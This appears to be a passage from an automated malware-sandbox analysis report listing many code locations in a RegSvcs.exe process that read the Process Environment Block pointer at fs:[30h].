Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F260B mov eax, dword ptr fs:[00000030h]	9_2_014F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01522619 mov eax, dword ptr fs:[00000030h]	9_2_01522619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E609 mov eax, dword ptr fs:[00000030h]	9_2_0155E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E262C mov eax, dword ptr fs:[00000030h]	9_2_014E262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014FE627 mov eax, dword ptr fs:[00000030h]	9_2_014FE627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01516620 mov eax, dword ptr fs:[00000030h]	9_2_01516620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01518620 mov eax, dword ptr fs:[00000030h]	9_2_01518620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A6C7 mov ebx, dword ptr fs:[00000030h]	9_2_0151A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A6C7 mov eax, dword ptr fs:[00000030h]	9_2_0151A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0155E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0155E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0155E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0155E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015606F1 mov eax, dword ptr fs:[00000030h]	9_2_015606F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015606F1 mov eax, dword ptr fs:[00000030h]	9_2_015606F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E4690 mov eax, dword ptr fs:[00000030h]	9_2_014E4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E4690 mov eax, dword ptr fs:[00000030h]	9_2_014E4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015166B0 mov eax, dword ptr fs:[00000030h]	9_2_015166B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151C6A6 mov eax, dword ptr fs:[00000030h]	9_2_0151C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01560946 mov eax, dword ptr fs:[00000030h]	9_2_01560946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01584978 mov eax, dword ptr fs:[00000030h]	9_2_01584978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01584978 mov eax, dword ptr fs:[00000030h]	9_2_01584978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156C97C mov eax, dword ptr fs:[00000030h]	9_2_0156C97C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01506962 mov eax, dword ptr fs:[00000030h]	9_2_01506962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01506962 mov eax, dword ptr fs:[00000030h]	9_2_01506962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01506962 mov eax, dword ptr fs:[00000030h]	9_2_01506962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0152096E mov eax, dword ptr fs:[00000030h]	9_2_0152096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0152096E mov edx, dword ptr fs:[00000030h]	9_2_0152096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0152096E mov eax, dword ptr fs:[00000030h]	9_2_0152096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156C912 mov eax, dword ptr fs:[00000030h]	9_2_0156C912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014D8918 mov eax, dword ptr fs:[00000030h]	9_2_014D8918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014D8918 mov eax, dword ptr fs:[00000030h]	9_2_014D8918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E908 mov eax, dword ptr fs:[00000030h]	9_2_0155E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155E908 mov eax, dword ptr fs:[00000030h]	9_2_0155E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156892A mov eax, dword ptr fs:[00000030h]	9_2_0156892A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0157892B mov eax, dword ptr fs:[00000030h]	9_2_0157892B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015149D0 mov eax, dword ptr fs:[00000030h]	9_2_015149D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AA9D3 mov eax, dword ptr fs:[00000030h]	9_2_015AA9D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015769C0 mov eax, dword ptr fs:[00000030h]	9_2_015769C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA9D0 mov eax, dword ptr fs:[00000030h]	9_2_014EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA9D0 mov eax, dword ptr fs:[00000030h]	9_2_014EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA9D0 mov eax, dword ptr fs:[00000030h]	9_2_014EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA9D0 mov eax, dword ptr fs:[00000030h]	9_2_014EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA9D0 mov eax, dword ptr fs:[00000030h]	9_2_014EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EA9D0 mov eax, dword ptr fs:[00000030h]	9_2_014EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015129F9 mov eax, dword ptr fs:[00000030h]	9_2_015129F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015129F9 mov eax, dword ptr fs:[00000030h]	9_2_015129F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156E9E0 mov eax, dword ptr fs:[00000030h]	9_2_0156E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E09AD mov eax, dword ptr fs:[00000030h]	9_2_014E09AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E09AD mov eax, dword ptr fs:[00000030h]	9_2_014E09AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015689B3 mov esi, dword ptr fs:[00000030h]	9_2_015689B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015689B3 mov eax, dword ptr fs:[00000030h]	9_2_015689B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015689B3 mov eax, dword ptr fs:[00000030h]	9_2_015689B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F29A0 mov eax, dword ptr fs:[00000030h]	9_2_014F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01510854 mov eax, dword ptr fs:[00000030h]	9_2_01510854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F2840 mov ecx, dword ptr fs:[00000030h]	9_2_014F2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E4859 mov eax, dword ptr fs:[00000030h]	9_2_014E4859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E4859 mov eax, dword ptr fs:[00000030h]	9_2_014E4859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156E872 mov eax, dword ptr fs:[00000030h]	9_2_0156E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156E872 mov eax, dword ptr fs:[00000030h]	9_2_0156E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01576870 mov eax, dword ptr fs:[00000030h]	9_2_01576870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01576870 mov eax, dword ptr fs:[00000030h]	9_2_01576870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156C810 mov eax, dword ptr fs:[00000030h]	9_2_0156C810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151A830 mov eax, dword ptr fs:[00000030h]	9_2_0151A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158483A mov eax, dword ptr fs:[00000030h]	9_2_0158483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158483A mov eax, dword ptr fs:[00000030h]	9_2_0158483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01502835 mov eax, dword ptr fs:[00000030h]	9_2_01502835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01502835 mov eax, dword ptr fs:[00000030h]	9_2_01502835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01502835 mov eax, dword ptr fs:[00000030h]	9_2_01502835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01502835 mov ecx, dword ptr fs:[00000030h]	9_2_01502835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01502835 mov eax, dword ptr fs:[00000030h]	9_2_01502835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01502835 mov eax, dword ptr fs:[00000030h]	9_2_01502835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150E8C0 mov eax, dword ptr fs:[00000030h]	9_2_0150E8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151C8F9 mov eax, dword ptr fs:[00000030h]	9_2_0151C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151C8F9 mov eax, dword ptr fs:[00000030h]	9_2_0151C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AA8E4 mov eax, dword ptr fs:[00000030h]	9_2_015AA8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0887 mov eax, dword ptr fs:[00000030h]	9_2_014E0887
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156C89D mov eax, dword ptr fs:[00000030h]	9_2_0156C89D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158EB50 mov eax, dword ptr fs:[00000030h]	9_2_0158EB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01594B4B mov eax, dword ptr fs:[00000030h]	9_2_01594B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01594B4B mov eax, dword ptr fs:[00000030h]	9_2_01594B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01576B40 mov eax, dword ptr fs:[00000030h]	9_2_01576B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01576B40 mov eax, dword ptr fs:[00000030h]	9_2_01576B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015AAB40 mov eax, dword ptr fs:[00000030h]	9_2_015AAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01588B42 mov eax, dword ptr fs:[00000030h]	9_2_01588B42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014DCB7E mov eax, dword ptr fs:[00000030h]	9_2_014DCB7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155EB1D mov eax, dword ptr fs:[00000030h]	9_2_0155EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155EB1D mov eax, dword ptr fs:[00000030h]	9_2_0155EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155EB1D mov eax, dword ptr fs:[00000030h]	9_2_0155EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155EB1D mov eax, dword ptr fs:[00000030h]	9_2_0155EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155EB1D mov eax, dword ptr fs:[00000030h]	9_2_0155EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155EB1D mov eax, dword ptr fs:[00000030h]	9_2_0155EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155EB1D mov eax, dword ptr fs:[00000030h]	9_2_0155EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155EB1D mov eax, dword ptr fs:[00000030h]	9_2_0155EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155EB1D mov eax, dword ptr fs:[00000030h]	9_2_0155EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150EB20 mov eax, dword ptr fs:[00000030h]	9_2_0150EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150EB20 mov eax, dword ptr fs:[00000030h]	9_2_0150EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A8B28 mov eax, dword ptr fs:[00000030h]	9_2_015A8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015A8B28 mov eax, dword ptr fs:[00000030h]	9_2_015A8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0BCD mov eax, dword ptr fs:[00000030h]	9_2_014E0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0BCD mov eax, dword ptr fs:[00000030h]	9_2_014E0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0BCD mov eax, dword ptr fs:[00000030h]	9_2_014E0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158EBD0 mov eax, dword ptr fs:[00000030h]	9_2_0158EBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01500BCB mov eax, dword ptr fs:[00000030h]	9_2_01500BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01500BCB mov eax, dword ptr fs:[00000030h]	9_2_01500BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01500BCB mov eax, dword ptr fs:[00000030h]	9_2_01500BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156CBF0 mov eax, dword ptr fs:[00000030h]	9_2_0156CBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150EBFC mov eax, dword ptr fs:[00000030h]	9_2_0150EBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8BF0 mov eax, dword ptr fs:[00000030h]	9_2_014E8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8BF0 mov eax, dword ptr fs:[00000030h]	9_2_014E8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8BF0 mov eax, dword ptr fs:[00000030h]	9_2_014E8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01594BB0 mov eax, dword ptr fs:[00000030h]	9_2_01594BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01594BB0 mov eax, dword ptr fs:[00000030h]	9_2_01594BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0BBE mov eax, dword ptr fs:[00000030h]	9_2_014F0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0BBE mov eax, dword ptr fs:[00000030h]	9_2_014F0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0A5B mov eax, dword ptr fs:[00000030h]	9_2_014F0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014F0A5B mov eax, dword ptr fs:[00000030h]	9_2_014F0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E6A50 mov eax, dword ptr fs:[00000030h]	9_2_014E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E6A50 mov eax, dword ptr fs:[00000030h]	9_2_014E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E6A50 mov eax, dword ptr fs:[00000030h]	9_2_014E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E6A50 mov eax, dword ptr fs:[00000030h]	9_2_014E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E6A50 mov eax, dword ptr fs:[00000030h]	9_2_014E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E6A50 mov eax, dword ptr fs:[00000030h]	9_2_014E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E6A50 mov eax, dword ptr fs:[00000030h]	9_2_014E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155CA72 mov eax, dword ptr fs:[00000030h]	9_2_0155CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0155CA72 mov eax, dword ptr fs:[00000030h]	9_2_0155CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0158EA60 mov eax, dword ptr fs:[00000030h]	9_2_0158EA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151CA6F mov eax, dword ptr fs:[00000030h]	9_2_0151CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151CA6F mov eax, dword ptr fs:[00000030h]	9_2_0151CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151CA6F mov eax, dword ptr fs:[00000030h]	9_2_0151CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0156CA11 mov eax, dword ptr fs:[00000030h]	9_2_0156CA11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01504A35 mov eax, dword ptr fs:[00000030h]	9_2_01504A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01504A35 mov eax, dword ptr fs:[00000030h]	9_2_01504A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151CA38 mov eax, dword ptr fs:[00000030h]	9_2_0151CA38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151CA24 mov eax, dword ptr fs:[00000030h]	9_2_0151CA24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0150EA2E mov eax, dword ptr fs:[00000030h]	9_2_0150EA2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01514AD0 mov eax, dword ptr fs:[00000030h]	9_2_01514AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01514AD0 mov eax, dword ptr fs:[00000030h]	9_2_01514AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0AD0 mov eax, dword ptr fs:[00000030h]	9_2_014E0AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01536ACC mov eax, dword ptr fs:[00000030h]	9_2_01536ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01536ACC mov eax, dword ptr fs:[00000030h]	9_2_01536ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01536ACC mov eax, dword ptr fs:[00000030h]	9_2_01536ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151AAEE mov eax, dword ptr fs:[00000030h]	9_2_0151AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0151AAEE mov eax, dword ptr fs:[00000030h]	9_2_0151AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01518A90 mov edx, dword ptr fs:[00000030h]	9_2_01518A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EEA80 mov eax, dword ptr fs:[00000030h]	9_2_014EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EEA80 mov eax, dword ptr fs:[00000030h]	9_2_014EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EEA80 mov eax, dword ptr fs:[00000030h]	9_2_014EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EEA80 mov eax, dword ptr fs:[00000030h]	9_2_014EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EEA80 mov eax, dword ptr fs:[00000030h]	9_2_014EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EEA80 mov eax, dword ptr fs:[00000030h]	9_2_014EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EEA80 mov eax, dword ptr fs:[00000030h]	9_2_014EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EEA80 mov eax, dword ptr fs:[00000030h]	9_2_014EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014EEA80 mov eax, dword ptr fs:[00000030h]	9_2_014EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_015B4A80 mov eax, dword ptr fs:[00000030h]	9_2_015B4A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8AA0 mov eax, dword ptr fs:[00000030h]	9_2_014E8AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8AA0 mov eax, dword ptr fs:[00000030h]	9_2_014E8AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_01536AA4 mov eax, dword ptr fs:[00000030h]	9_2_01536AA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0D59 mov eax, dword ptr fs:[00000030h]	9_2_014E0D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0D59 mov eax, dword ptr fs:[00000030h]	9_2_014E0D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E0D59 mov eax, dword ptr fs:[00000030h]	9_2_014E0D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8D59 mov eax, dword ptr fs:[00000030h]	9_2_014E8D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8D59 mov eax, dword ptr fs:[00000030h]	9_2_014E8D59
